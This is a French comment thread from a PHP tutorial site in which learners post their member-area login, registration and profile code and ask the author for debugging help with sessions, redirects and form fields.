    <link rel="stylesheet" type="text/css" href="main.css">
    <title>KAGGLE ESIGELEC</title>
    </head>
    <body>
    <h1>SE CONNECTER</h1>
    <form method="POST" action="">
    <p>
    <label for="user_nameco">Pseudo :</label>
    <input type="text" placeholder="Votre pseudo" name="user_nameco" id="user_nameco" />
    </p>
    <p>
    <label for="mdpco">Mot de Passe :</label>
    <input type="password" placeholder="Votre Mot de Passe" name="mdpco" id="mdpco" />
    </p>
    <p>
    <input type="submit" name="formconnexion" value="Se Connecter" />
    </p>
    </form>
    <?php
    if(isset($erreur)) {
    echo $erreur;
    }
    ?>

    </body>
    </html>

  • duvalkede Le 19 novembre, à 14:45 | Répondre

    @PrimFX On m'a conseiller sur un autre forum de remplacer cela sur la page profil :
    if(isset($_SESSION['id']) AND $userinfo['id'] == $_SESSION['id'])
    par cela:
    if(isset($_SESSION['id']))
    seulement j'ai peur que ca causerais un soucis au niveau de la sécurité.Sinon cela fonctionne
    peut tu me comfirmer si c'est assez sécurisé ?
    en attendant confirmation , je vais continuer ton tuto sur la partie 3/3
    je te remercie pour le temp que tu me consacre

  • duvalkede Le 19 novembre, à 14:37 | Répondre

    @PrimFX quand je fais ce que tu me dit sa me met : Sachant que j'ai pas le même numéro de ligne car j'ai simplifié pour montrer
    Warning: Cannot modify header information - headers already sent by (output started at /customers/d/7/7/liste-site-argent.fr/httpd.www/page/index.php:12) in /customers/d/7/7/liste-site-argent.fr/httpd.www/page/structure_de_page/aside_connexion.php on line 21 - See more at: http://liste-site-argent.fr/page/index.php#sthash.hKQqCMKD.YrosIDWL.dpuf

  • PrimFX Le 18 novembre, à 22:34 | Répondre

    @duvalkede Salut ! Effectivement bizarre ton problème, parce qu'après une petite vérification de ton code, tout semble bon (à part les redirections faites par html refresh... tente de remplacer les echo '<meta http-equiv="refresh" content="0;URL=tapage.php">'; par header('location:tapage.php') ) ;) d'après ce que tu m'as envoyé ça a l'air bon, mais vérifie bien qu'il n'y a rien avant tes session_start() de chaque page, même pas le moindre espace (qui pourrait être responsable de ce bug :p),
    Tiens moi au courant si y'a du nouveau,
    @+

  • duvalkede Le 17 novembre, à 13:54 | Répondre

    Bonjour, j'ai crée un espace membres grâce a tes vidéos

    mais quand je me connecte, sa fait une redirection sur profil MAIS le membre reste connectée que 1 minute
    (j'ai l'impression que la page recharge MAIS sa enleve la connection )

    4 pages:

    inscription.php

    connexion.php

    profil.php

    deconnexion.php

    la page inscription:


    <?php
    session_start();
    ?>

    <?php
    $bdd=new PDO('privée');
    //quand on appui sur le bouton inscription !
    if(isset($_POST['forminscription']))
    { //Sauvegarder les entrées sous des variables
    $pseudo= htmlspecialchars($_POST['pseudo']);
    $password= sha1($_POST['password']);//sha1 permet le hachage
    $password2= sha1($_POST['password2']);
    $mail= htmlspecialchars($_POST['mail']);
    $mail2= htmlspecialchars($_POST['mail2']);
    //verifie si les champs pseudo,password sont pas vides
    if(!empty($_POST['pseudo']) AND !empty($_POST['password']) AND !empty($_POST['password2']) AND !empty($_POST['mail']) AND !empty($_POST['mail2']))
    {
    //verifie que le pseudo ne depasse pas 255 caractéres.
    $pseudolength=strlen($pseudo);
    if ($pseudolength <=255)
    {
    //verifie mail depasse pas 255 caractéres.
    $maillenght=strlen($mail);
    if ($maillenght <=255)
    {
    //verifie mail2 depasse pas 255 caractères.
    $mail2lenght=strlen($mail2);
    if ($mail2lenght <=255)
    {
    //verifie que les 2 mail sont les mêmes
    if($mail ==$mail2)
    {
    //verifie que ces une adresse mail valide
    if(filter_var($mail, FILTER_VALIDATE_EMAIL))
    {
    //verifie si le pseudo a pas deja etait dans la bdd
    $reqpseudo=$bdd->prepare('SELECT * FROM Membres WHERE pseudo= ?');
    $reqpseudo->execute(array($pseudo));
    $pseudoexist=$reqpseudo->rowcount();
    if($pseudoexist == 0)
    {
    //verifie si l'email a pas deja etait dans la bdd
    $reqmail=$bdd->prepare('SELECT * FROM Membres WHERE mail= ?');
    $reqmail->execute(array($mail));
    $mailexist=$reqmail->rowcount();
    if($mailexist == 0)
    {
    //verifie que ces les deux même mot de passe
    if($password ==$password2)
    { //apres toutes les etapes de verification, sa rentre bdd inscription réussi
    $insertmbr=$bdd->prepare("INSERT INTO Membres(pseudo, motdepasse, mail, date_inscription) VALUES(?,?,?, CURDATE())");
    $insertmbr->execute(array($pseudo,$password,$mail));
    $erreur='Votre compte a bien été crée !';
    }
    else
    {
    $erreur='Vos mot de passe ne correspondent pas !';
    }
    }
    else
    {
    $erreur='Adresse mail déjà utilisée !';
    }
    }
    else
    {
    $erreur='Pseudo déjà utilisée !';
    }
    }
    else
    {
    $erreur='Votre adresse mail n\'est pas valide !';
    }
    }
    else
    {
    $erreur='Vos adresses mail ne correspondent pas !';
    }
    }
    else
    {
    $erreur='Votre mail ne doit pas dépasser 255 caractères.';
    }
    }
    else
    {
    $erreur='Votre mail ne doit pas dépasser 255 caractères.';
    }
    }
    else
    {
    $erreur='Votre pseudo ne doit pas dépasser 255 caractères.';
    }
    }
    else
    { //si les champs sonts vides, on met la variable $erreur
    $erreur='Tous les champs doivent être complétés !';
    }
    }
    ?>
    <html>
    <head>
    <link rel="stylesheet" href="style.css">
    <meta charset="utf-8" />
    <!-- Modifier sur chaque page -->
    <title>Structure de page</title>
    <meta name="description" content="description de la page" />
    </head>
    <body>
    <h1>Inscription</h1>
    <form action="" method="POST">
    <ul align="center" class="formulaire">
    <input type="text" placeholder="Pseudo" size="30" name="pseudo" class="champ_inscription" value="<?php if(isset($pseudo)) { echo $pseudo;} ?>" /><br /><br /><!-- code php dans value sert a remettre ce que a rentrer l'utilisateur juste avant pour évité de recopier-->
    <input type="password" placeholder="Mot de passe" size="30" name="password" class="champ_inscription" /><br /><br />
    <input type="password" placeholder="Confirmation mot de passe" size="30" name="password2" class="champ_inscription" /><br /><br />
    <input type="email" placeholder="Email" size="30" name="mail" class="champ_inscription" value="<?php if(isset($mail)) { echo $mail;} ?>" /><br /><br />
    <input type="email" placeholder="Confirmation email" size="30" name="mail2" class="champ_inscription" value="<?php if(isset($mail2)) { echo $mail2;} ?>" /><br /><br />
    <!--si les champs de inscription sonts vides sa met le message de $erreur-->
    <?php if(isset($erreur)){ echo '<font color="red">'.$erreur.'</font>';} ?><br />
    <input type="submit" name="forminscription" value="Inscription !" />
    </ul>
    </form>
    </body>
    </html>

    la page connexion:


    <?php
    session_start();

    $bdd=new PDO('privée');

    if(isset($_POST['formconnection']))
    {
    $pseudoconnect=htmlspecialchars($_POST['pseudoconnect']);
    $mdpconnect=sha1($_POST['passwordconnect']);
    if(!empty($pseudoconnect)AND !empty($mdpconnect))
    {
    $requser=$bdd->prepare("SELECT* FROM Membres WHERE pseudo=? AND motdepasse=?");
    $requser->execute(array($pseudoconnect, $mdpconnect));
    $userexist=$requser->rowcount();
    if ($userexist ==1)
    {
    $userinfo=$requser->fetch();
    $_SESSION['id']=$userinfo['id'];
    $_SESSION['pseudo']=$userinfo['pseudo'];
    $_SESSION['mail']=$userinfo['mail'];
    echo '<meta http-equiv="refresh" content="0;URL=profil.php">';
    }
    else
    {
    $erreurconnexion='Mauvais pseudo ou mot de passe !';
    }
    }
    else
    {
    $erreurconnexion='Tous les champs doivent être complétés !';
    }
    }
    ?>
    <html>
    <font size="4" align="center">
    <p>Connexion</p>
    </font>
    <form method="POST" action="">
    <ul align="center">
    <input type="text" placeholder="Pseudo" name="pseudoconnect" class="champ_connexion" /><br />
    <input type="password" placeholder="Mot de passe" name="passwordconnect" class="champ_connexion" /><br />
    <?php if(isset($erreurconnexion)){ echo '<font color="red">'.$erreurconnexion.'</font>';} ?><br />
    <input type="submit" value="Valider" name="formconnection" />
    </ul>
    </form>
    </html>

    la page profil :


    <?php
    session_start();

    $bdd=new PDO('privée');

    if (isset($_GET['id']) AND $_GET['id']>O)
    {
    $getid=intval($_GET['id']);
    $requser=$bdd->prepare('SELECT* FROM membres WHERE id=?');
    $requser->execute(array($getid));
    $userinfo=$requser->fetch();
    }
    ?>

    <html>
    <head>
    <link rel="stylesheet" href="style.css">
    <meta charset="utf-8" />
    <!-- Modifier sur chaque page -->
    <title>Profil de <?php echo ''.$_SESSION['pseudo'].''; ?></title>
    <meta name="description" content="description de la page" />
    </head>
    <body>
    <h1>Profil de <?php echo ''.$_SESSION['pseudo'].''; ?></h1>

    Pseudo = <?php echo ''.$_SESSION['pseudo'].''; ?>
    <br />
    Mail = <?php echo ''.$_SESSION['mail'].''; ?>
    <br />

    <?php
    if(isset($_SESSION['id']) AND $userinfo['id'] == $_SESSION['id'])
    {
    ?>
    <a href="#">Editer mon profil</a>
    <a href="deconnexion.php">Se déconnecter</a>
    <?php
    }
    ?>
    </body>
    </html>

    et la petite page deconnexion:


    <?php
    session_start();
    $_SESSION=array();
    session_destroy();
    header("Location: index.php");
    ?>
    pourquoi sa me déconnecte au bout de 1 minute ? et comment faire s'il vous plaît ?

    Vous pouvez essayer sur mon site :

    liste-site-argent.fr/page/inscription.php

    dans les codes que je vous ais mis sur le forum , j'ai enlevé tout ce qui était inutile pour la visibilité du problème.(le style ect )

    merci d'avance pour vos réponses.

  • PrimFX Le 12 novembre, à 18:15 | Répondre

    @yanis237 Salut ! Le problème vient du fait que dans ton formulaire, il n'y a aucun champ nommé "mailconnect" (j'ai juste vu "pseudoconnect" par contre) :p Donc PHP te dit simplement qu'il ne trouve pas l'index "mailconnect" dans le tableau _POST ;-)

  • yanis237 Le 12 novembre, à 11:41 | Répondre

    merci de bien vouloir m'aider actuellement je rencontre un pb dans ce script quan je l'execute voilà ce que le serveur me renvoie
    "Notice: Undefined index: mailconnect in C:\wamp\www\formulaire\connection.php on line 8"


    et voici mon code php exactement "bon enfin peut etre comme le tien"

    <?php
    session_start();
    $bdd= new PDO('mysql:host=localhost;dbname=espace_membre' , 'root' , '');


    if(isset($_POST['formconnexion']))
    {
    $mailconnect =htmlspecialchars($_POST['mailconnect']); // voici ma ligne8//
    $mdpconnect = sha1($_POST['mdpconnect']);
    if(!empty($mailconnect) AND !empty($mdpconnect))
    {
    $requser = $bdd->prepare("SELECT * FROM membres WHERE mail= ? AND motdepasse = ?");
    $requser->execute(array($mailconnect, $mdpconnect));
    $userexist =$requser->rowcount();
    if(userexist == 1)
    {

    }
    else
    {
    $erreur ="mot de passe ou adresse mail incorrecte";
    }
    }
    else
    {
    $erreur = "tous les champs doivent etre compléter!";
    }

    }

    ?>
    <html>
    <head>
    <title>formulaire de connection</title>
    <meta charset="utf-8">
    </head>
    <body>
    <div class="s-form" align="center">
    <h2>connecxion</h2>
    <br /><br />
    <form method="POST" action="">
    <input type="text" name="pseudoconnect" placeholder=" entrez votre adresse mail" />
    <input type="password" name="mdpconnect" placeholder=" entrez votre mot de passe" />
    <input type="submit" name="formconnexion" value="se connecter !" />
    </form>
    <?php
    if(isset($erreur))
    {
    echo '<font color="red">'.$erreur.'</font>';
    }

    if(isset($succes))
    {
    echo '<font color="green"><p>bien</p>'.$succes.'</font>';
    }

    ?>
    </div>
    </html>

  • Ju_ Le 26 juillet, à 10:34 | Répondre

    Bonjour, le tuto et génial et simple a la compréhension;

    Mais je suis bloqué a cette épisode car au moment de tester si il détecte l'absence de caractère dans les champs,
    quand j'appuie sur Connexion il ne m'affiche pas l'erreur et quand je les remplit il me dit pas le ok que j'ai mit en echo.
    Voila mon code si vous remarquez qu'il y a des erreurs dans mon code:
    <?php
    $bdd = new PDO('mysql:host=db585051454.db.1and1.com;dbname=db585051454', 'dbo585051454', '*****');

    if(isset($_POST['formconnect'])){
    $mailconnect = htmlspecialchars($_POST['mailconnect']);
    $passwordconnect = sha1($_POST['passwordconnect']);

    if(!empty($_POST['mailconnect']) AND !empty($_POST['passwordconnect'])){
    echo "ok";
    }else{
    $erreurconnect = "Tous les champs doivent être remplits!";
    }
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <title></title>
    <meta charset="utf-8" />
    </head>
    <body>
    <form type="POST" action="">
    <input type="text" name="mailconnect" placeholder="Mail" />
    <input type="password" name="passwordconnect" placeholder="Mot de passe" />
    <input type="submit" name="formconnect" value="Connexion" />
    </form>
    <?php
    if(isset($erreurconnect)){
    echo '<font color="red">'.$erreurconnect.'</font>';
    }
    ?>
    </body>
    </html>

  • PrimFX Le 4 mai, à 15:15 | Répondre

    Bonjour @Phil693 et merci pour ce commentaire :-)

    Effectivement bizarre de ne pas pouvoir détecter si le champ est vide... As-tu mis fais le sha1() après avoir vérifier si le champ contenait quelque chose ? (c'est peut-être la solution... :p)

    Ce n'est pas la première demande que j'ai pour faire un tuto "envoie d'identifiants" ou bien "système de récupération de mot de passe"... J'en ferai donc un dans les prochains temps ;-)

    @+
    PrimFX

  • Phil693 Le 4 mai, à 14:16 | Répondre

    Bonjour,

    vraiment géniaux ces tuto vidéo :)
    Clairs, bien expliqués, bref, c'est un plaisir d'apprendre.

    Je viens de suivre cette partie (la 2eme de "Créer un espae membres". Tout colle, sauf que je rencontre un problème avec le sha1 au début.

    Sha1 empêche de détecter l'absence de caractère dans le champ, et donc de savoir si le membre a bien rempli ce champ.

    J'ai fais le test de remplacer sha1 par htmlspecialchars pour voir, et là, aucuns problèmes.

    Comment est ce possible ?

    Sinon, petite suggestion, pourrais tu "compléter" ce tuto, en nous montrant comment insérer les liens pour le renvois des identifiants en cas d'oublie par le membre (donc directement sur son adresse email) ?

    Merci encore pour tes super cours en tous cas FX :)

  • dqfjsqhgfdqhvsq Le 29 mars, à 18:16 | Répondre

    On arrive bientôt à la fin :(